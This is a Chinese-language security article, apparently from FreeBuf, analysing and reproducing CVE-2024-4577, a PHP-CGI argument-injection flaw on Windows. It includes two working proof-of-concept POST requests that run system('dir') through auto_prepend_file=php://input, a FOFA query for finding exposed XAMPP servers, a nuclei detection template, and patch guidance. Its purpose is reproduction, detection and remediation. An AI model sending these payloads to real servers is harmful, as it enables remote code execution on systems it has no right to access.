漏洞概况
CVE-2024-4577漏洞是由于PHP 在设计时并未充分考虑到 Windows 系统中对字符转换的 "Best-Fit" 特性。当 PHP-CGI(PHP 的通用网关接口实现,常用于 Windows 平台的 Web 服务器)在 Windows 平台上运行时,特别是在使用如中文等语系时,攻击者有可能利用这一特性构造恶意请求。
这些恶意请求能够绕过 CVE-2012-1823 补丁的防护措施,导致攻击者可在 PHP 服务器上执行任意 PHP 代码
漏洞影响范围
PHP Windows版 8.3.0 <= 影响版本 < 8.3.8
PHP Windows版 8.2.0 <= 影响版本 < 8.2.20
PHP Windows版 8.1.0 <= 影响版本 < 8.1.29
PHP Windows版 影响版本 == 8.0.x
PHP Windows版 影响版本 == 7.x
PHP Windows版 影响版本 == 5.x
XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12
XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25
XAMPP Windows版 影响版本 == 8.0.x
XAMPP Windows版 影响版本 == 7.x
XAMPP Windows版 影响版本 == 5.x
Windows操作系统执行在以下语系时:
繁体中文(字码页950)
简体中文(字码页936)
日文(字码页932)
需要注意:对于其它执行在英文、韩文、西欧语系之下的Windows 作业系统,由于PHP 使用情境广泛、暂无法完全列举并排除其利用情境,因此还是建议使用者全面盘点资产、确认使用情境并更新PHP 至最新版本确保万无一失!
(fofa测绘语句:body="Welcome to XAMPP for Windows ")
复现环境
Windows 10 22H2(内部版本:19045.4412)
XAMPP Windows版本 8.2.12
Windows语系(活动代码页:936)简体中文
注:如何查看当前Windows操作系统的语系(活动代码页):
Windows环境下打开cmd窗口执行chcp指令即可查看当前 Windows的活动代码页
漏洞复现
安装XAMPP Windows之后,开启Apache环境,尝试访问默认环境:
访问默认环境(无需修改配置):
POC一 构造
BP发送构造POC如下:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1 Host: 192.168.220.3 Content-Length: 26
<?php system("dir");?>
POC二构造
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1 Host: 192.168.220.3 REDIRECT-STATUS: XCANWIN Content-Length: 26
<?php system("dir");?>
漏洞分析
该漏洞本质上是对CVE-2012-1823的绕过利用。漏洞CVE-2012-1823的主要漏洞点是:当php以php-cgi模式运行时,用户请求的参数querystring将会被视为php-cgi的运行参数执行(RFC3875 中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能)
通过参数-d可以用于指定配置项,设定参数allow_url_include、auto_prepend_file制造任意文件包含漏洞,从而实现远程代码执行的效果。
-d allow ur include=on 控制允许在include、include_once、require、require_once等函数中使用URL作为文件名,可以远程url加载执行php代码。
-d auto_prepend file=php://input php://input流通常用于读取POST数据,而-d auto_prepend_file则指定了包含的php脚本为POST输入。
而后,官方修复该漏洞方式为将"-“过滤,从而无法拼接参数
本漏洞的利用方法就是通过带入参数拼接前,宽字节会被转换这一特性,bestfit936 GBK编码中0x00ad会被解析为0x002d,也就是字符"-"。
也因此,该漏洞只会影响含繁体中文、简体中文、日文这三个语言版本的windows系统。
php-cgi.exe的执行参数如下:
漏洞扫描
可以通过版本比对以及漏洞POC两种方式对漏洞是否存在进行检测
版本识别方法:
XAMPP服务器响应中会包含服务版本信息,可以通过脚本自动化排除漏洞版本服务器
POC识别方法
参考nuclei检测规则
info:
name: PHP CGI - Argument Injection
author: Hüseyin TINTAŞ,sw0rk17,securityforeveryone,pdresearch
severity: critical
reference:
- https://cloud.tencent.com/developer/article/2429455
description: |
PHP CGI - Argument Injection (CVE-2024-4577) is a critical argument injection flaw in PHP.
impact: |
Successful exploitation could lead to remote code execution on the affected system.
remediation: |
Apply the vendor-supplied patches or upgrade to a non-vulnerable version.
metadata:
verified: true
tags: cve,cve2024,php,cgi,xampp,rce
http:
- method: POST
path:
- "{{BaseURL}}/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/index.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/test.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
- "{{BaseURL}}/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
body: |
<?php echo md5("CVE-2024-4577"); ?>
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "3f2ba4ab3b260f4c2dc61a6fac7c3e8a"
修复方案
版本升级
升级至如下版本号即可:
PHP 8.3 >= 8.3.8
PHP 8.2 >= 8.2.20
PHP 8.1 >= 8.1.29
PHP官方网站:https://www.php.net/downloads.php
2.对于使用 XAMPP for Windows 的用户,按照以下操作步骤进行调整:
如果确认不需要 PHP CGI 功能,可以通过修改以下 Apache HTTP Server 配置来避免受到该漏洞的影响:C:/xampp/apache/conf/extra/httpd-xampp.conf(此处以默认安装位置进行示例操作,实际需要结合用户实际文件位置修改)
找到相应的行:将其注释ScriptAlias /php-cgi/"C:/xampp/php/"
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)